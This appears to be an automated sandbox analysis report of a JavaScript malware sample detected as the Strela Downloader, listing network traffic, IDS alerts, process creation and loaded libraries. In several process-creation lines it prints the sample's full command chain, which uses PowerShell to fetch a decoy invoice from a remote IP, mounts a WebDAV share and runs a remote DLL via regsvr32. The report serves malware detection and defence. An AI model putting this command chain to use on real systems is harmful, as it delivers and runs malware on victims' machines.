Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1422888474.00000172C574E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484072846.000002AA56CF3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1484072846.000002AA56D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/4
Source: net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/V
Source: net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/d
Source: net.exe, 00000007.00000002.1484072846.000002AA56CC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/sh/
Source: svchost.exe, 00000009.00000002.2722934524.00000163FA212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1483980336.00000163FA150000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1160, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2948124376300195806.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1796:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_txeqz0va.wkp.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2948124376300195806.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2948124376300195806.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1636,i,14765635454801674691,12305855490842319476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1636,i,14765635454801674691,12305855490842319476,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
